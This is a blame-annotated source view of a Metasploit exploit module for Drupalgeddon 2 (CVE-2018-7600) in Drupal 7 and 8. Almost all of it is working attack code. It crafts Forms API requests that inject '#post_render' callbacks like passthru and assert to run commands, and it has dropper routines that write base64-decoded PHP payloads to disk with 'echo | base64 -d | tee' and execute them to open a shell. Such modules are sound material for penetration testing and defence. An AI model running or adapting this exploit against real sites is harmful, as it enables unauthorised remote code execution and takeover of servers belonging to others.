Files
metasploit-gs/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb
T

400 lines
11 KiB
Ruby
Raw Normal View History

2018-04-13 18:15:28 -05:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HTTP::Drupal
# XXX: CmdStager can't handle badchars
include Msf::Exploit::PhpEXE
2018-04-19 05:02:06 -05:00
include Msf::Exploit::FileDropper
2018-04-13 18:15:28 -05:00
def initialize(info = {})
super(update_info(info,
2018-04-17 12:50:46 -05:00
'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',
2018-04-13 18:15:28 -05:00
'Description' => %q{
2018-04-17 12:50:46 -05:00
This module exploits a Drupal property injection in the Forms API.
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
2018-04-13 18:15:28 -05:00
},
'Author' => [
'Jasper Mattsson', # Vulnerability discovery
2018-04-17 12:50:46 -05:00
'a2u', # Proof of concept (Drupal 8.x)
'Nixawk', # Proof of concept (Drupal 8.x)
'FireFart', # Proof of concept (Drupal 7.x)
2018-04-13 18:15:28 -05:00
'wvu' # Metasploit module
],
'References' => [
['CVE', '2018-7600'],
['URL', 'https://www.drupal.org/sa-core-2018-002'],
['URL', 'https://greysec.net/showthread.php?tid=2912'],
['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
['URL', 'https://github.com/a2u/CVE-2018-7600'],
2018-04-17 12:50:46 -05:00
['URL', 'https://github.com/nixawk/labs/issues/19'],
['URL', 'https://github.com/FireFart/CVE-2018-7600']
2018-04-13 18:15:28 -05:00
],
'DisclosureDate' => '2018-03-28',
2018-04-13 18:15:28 -05:00
'License' => MSF_LICENSE,
2018-04-19 01:49:09 -05:00
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
2018-04-13 18:15:28 -05:00
'Privileged' => false,
'Payload' => {'BadChars' => '&>\''},
2018-04-13 18:15:28 -05:00
'Targets' => [
2018-04-19 01:49:09 -05:00
#
# Automatic targets (PHP, cmd/unix, native)
#
['Automatic (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory
2018-04-19 01:49:09 -05:00
],
2018-04-19 05:02:06 -05:00
['Automatic (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_dropper
2018-04-19 05:02:06 -05:00
],
['Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory
],
['Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
],
2018-04-19 01:49:09 -05:00
#
# Drupal 7.x targets (PHP, cmd/unix, native)
#
['Drupal 7.x (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('7'),
'Type' => :php_memory
2018-04-19 01:49:09 -05:00
],
2018-04-19 05:02:06 -05:00
['Drupal 7.x (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('7'),
'Type' => :php_dropper
2018-04-19 05:02:06 -05:00
],
2018-04-17 12:50:46 -05:00
['Drupal 7.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Gem::Version.new('7'),
'Type' => :unix_memory
2018-04-17 12:50:46 -05:00
],
['Drupal 7.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Gem::Version.new('7'),
'Type' => :linux_dropper
2018-04-17 12:50:46 -05:00
],
2018-04-19 01:49:09 -05:00
#
# Drupal 8.x targets (PHP, cmd/unix, native)
#
['Drupal 8.x (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('8'),
'Type' => :php_memory
2018-04-19 01:49:09 -05:00
],
2018-04-19 05:02:06 -05:00
['Drupal 8.x (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('8'),
'Type' => :php_dropper
2018-04-19 05:02:06 -05:00
],
2018-04-17 12:50:46 -05:00
['Drupal 8.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Gem::Version.new('8'),
'Type' => :unix_memory
2018-04-17 12:50:46 -05:00
],
['Drupal 8.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Gem::Version.new('8'),
'Type' => :linux_dropper
2018-04-17 12:50:46 -05:00
]
2018-04-13 18:15:28 -05:00
],
'DefaultTarget' => 0, # Automatic (PHP In-Memory)
2019-03-05 12:59:44 -06:00
'DefaultOptions' => {'WfsDelay' => 2}, # Also seconds between attempts
'Notes' => {'AKA' => ['SA-CORE-2018-002', 'Drupalgeddon 2']}
2018-04-13 18:15:28 -05:00
))
register_options([
2018-04-17 12:50:46 -05:00
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
2019-02-25 12:06:20 -06:00
OptBool.new('DUMP_OUTPUT', [false, 'Dump payload command output', false])
2018-04-13 18:15:28 -05:00
])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
])
2018-04-13 18:15:28 -05:00
end
def check
2019-03-05 18:58:11 -06:00
checkcode = CheckCode::Unknown
@version = target['Version'] || drupal_version
2019-03-05 18:58:11 -06:00
unless @version
2019-03-05 12:59:44 -06:00
vprint_error('Could not determine Drupal version to target')
2019-03-05 18:58:11 -06:00
return checkcode
end
2018-04-13 18:15:28 -05:00
2019-03-05 18:58:11 -06:00
vprint_status("Drupal #{@version} targeted at #{full_uri}")
checkcode = CheckCode::Detected
changelog = drupal_changelog(@version)
2019-03-05 18:58:11 -06:00
unless changelog
vprint_error('Could not determine Drupal patch level')
return checkcode
end
case drupal_patch(changelog, 'SA-CORE-2018-002')
when nil
vprint_warning('CHANGELOG.txt no longer contains patch level')
when true
2019-03-05 12:59:44 -06:00
vprint_warning('Drupal appears patched in CHANGELOG.txt')
2019-03-05 18:58:11 -06:00
checkcode = CheckCode::Safe
when false
2019-03-05 12:59:44 -06:00
vprint_good('Drupal appears unpatched in CHANGELOG.txt')
2018-04-24 23:03:27 -05:00
checkcode = CheckCode::Appears
end
2019-03-05 18:58:11 -06:00
# NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable
token = rand_str
res = execute_command(token, func: 'printf')
2018-04-13 18:15:28 -05:00
2019-03-05 18:58:11 -06:00
return checkcode unless res
if res.body.start_with?(token)
vprint_good('Drupal is vulnerable to code execution')
checkcode = CheckCode::Vulnerable
2018-04-13 18:15:28 -05:00
end
checkcode
2018-04-13 18:15:28 -05:00
end
2018-04-17 12:50:46 -05:00
def exploit
2020-02-19 01:06:50 -06:00
unless datastore['ForceExploit']
if check == CheckCode::Safe
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
end
unless @version
print_warning('Targeting Drupal 7.x as a fallback')
@version = Gem::Version.new('7')
end
2018-04-17 12:50:46 -05:00
if datastore['PAYLOAD'] == 'cmd/unix/generic'
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
# XXX: Naughty datastore modification
datastore['DUMP_OUTPUT'] = true
end
# NOTE: assert() is attempted first, then PHP_FUNC if that fails
2018-04-25 11:53:26 -05:00
case target['Type']
when :php_memory
execute_command(payload.encoded, func: 'assert')
sleep(wfs_delay)
return if session_created?
# XXX: This will spawn a *very* obvious process
execute_command("php -r '#{payload.encoded}'")
2018-04-25 11:53:26 -05:00
when :unix_memory
execute_command(payload.encoded)
2018-04-25 11:53:26 -05:00
when :php_dropper, :linux_dropper
dropper_assert
sleep(wfs_delay)
return if session_created?
dropper_exec
end
end
2018-04-19 05:02:06 -05:00
def dropper_assert
php_file = Pathname.new(
"#{datastore['WritableDir']}/#{rand_str}.php"
).cleanpath
2018-04-19 05:02:06 -05:00
# Return the PHP payload or a PHP binary dropper
dropper = get_write_exec_payload(
writable_path: datastore['WritableDir'],
unlink_self: true # Worth a shot
)
# Encode away potential badchars with Base64
dropper = Rex::Text.encode_base64(dropper)
# Stage 1 decodes the PHP and writes it to disk
stage1 = %Q{
file_put_contents("#{php_file}", base64_decode("#{dropper}"));
}
# Stage 2 executes said PHP in-process
stage2 = %Q{
include_once("#{php_file}");
}
# :unlink_self may not work, so let's make sure
register_file_for_cleanup(php_file)
# Hopefully pop our shell with assert()
execute_command(stage1.strip, func: 'assert')
execute_command(stage2.strip, func: 'assert')
2018-04-17 12:50:46 -05:00
end
def dropper_exec
php_file = "#{rand_str}.php"
tmp_file = Pathname.new(
"#{datastore['WritableDir']}/#{php_file}"
).cleanpath
2018-04-17 12:50:46 -05:00
# Return the PHP payload or a PHP binary dropper
dropper = get_write_exec_payload(
writable_path: datastore['WritableDir'],
unlink_self: true # Worth a shot
)
2018-04-18 23:58:31 -05:00
# Encode away potential badchars with Base64
dropper = Rex::Text.encode_base64(dropper)
2018-04-19 04:59:07 -05:00
# :unlink_self may not work, so let's make sure
register_file_for_cleanup(php_file)
2018-04-18 23:58:31 -05:00
# Write the payload or dropper to disk (!)
# NOTE: Analysis indicates > is a badchar for 8.x
execute_command("echo #{dropper} | base64 -d | tee #{php_file}")
# Attempt in-process execution of our PHP script
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, php_file)
)
sleep(wfs_delay)
return if session_created?
# Try to get a shell with PHP CLI
execute_command("php #{php_file}")
sleep(wfs_delay)
return if session_created?
register_file_for_cleanup(tmp_file)
# Fall back on our temp file
execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
execute_command("php #{tmp_file}")
end
def execute_command(cmd, opts = {})
func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'
vprint_status("Executing with #{func}(): #{cmd}")
2018-04-17 12:50:46 -05:00
2018-04-18 23:58:31 -05:00
res =
case @version.to_s
2018-05-03 18:35:25 -05:00
when /^7\b/
exploit_drupal7(func, cmd)
2018-05-03 18:35:25 -05:00
when /^8\b/
exploit_drupal8(func, cmd)
end
2018-04-17 12:50:46 -05:00
2019-03-05 18:58:11 -06:00
return unless res
2018-04-17 12:50:46 -05:00
2019-03-05 18:58:11 -06:00
if res.code == 200
print_line(res.body) if datastore['DUMP_OUTPUT']
else
print_error("Unexpected reply: #{res.inspect}")
end
2018-04-17 12:50:46 -05:00
res
end
def exploit_drupal7(func, code)
vars_get = {
'q' => 'user/password',
2018-04-17 12:50:46 -05:00
'name[#post_render][]' => func,
'name[#markup]' => code,
'name[#type]' => 'markup'
}
vars_post = {
'form_id' => 'user_pass',
'_triggering_element_name' => 'name'
}
2018-04-13 18:15:28 -05:00
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
2018-04-17 12:50:46 -05:00
'vars_get' => vars_get,
'vars_post' => vars_post
2018-04-13 18:15:28 -05:00
)
return res unless res && res.code == 200
2018-04-13 18:15:28 -05:00
2018-04-17 12:50:46 -05:00
form_build_id = res.get_html_document.at(
'//input[@name = "form_build_id"]/@value'
)
2018-04-13 18:15:28 -05:00
return res unless form_build_id
2018-04-17 12:50:46 -05:00
vars_get = {
'q' => "file/ajax/name/#value/#{form_build_id.value}"
2018-04-17 12:50:46 -05:00
}
vars_post = {
'form_build_id' => form_build_id.value
2018-04-17 12:50:46 -05:00
}
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
2018-04-17 12:50:46 -05:00
'vars_get' => vars_get,
'vars_post' => vars_post
)
end
def exploit_drupal8(func, code)
# Clean URLs are enabled by default and "can't" be disabled
uri = normalize_uri(target_uri.path, 'user/register')
2018-04-17 12:50:46 -05:00
vars_get = {
'element_parents' => 'account/mail/#value',
'ajax_form' => 1,
'_wrapper_format' => 'drupal_ajax'
}
vars_post = {
'form_id' => 'user_register_form',
'_drupal_ajax' => 1,
'mail[#type]' => 'markup',
'mail[#post_render][]' => func,
'mail[#markup]' => code
}
send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_get' => vars_get,
'vars_post' => vars_post
)
2018-04-13 18:15:28 -05:00
end
def rand_str
2018-04-19 05:02:06 -05:00
Rex::Text.rand_text_alphanumeric(8..42)
end
2018-04-13 18:15:28 -05:00
end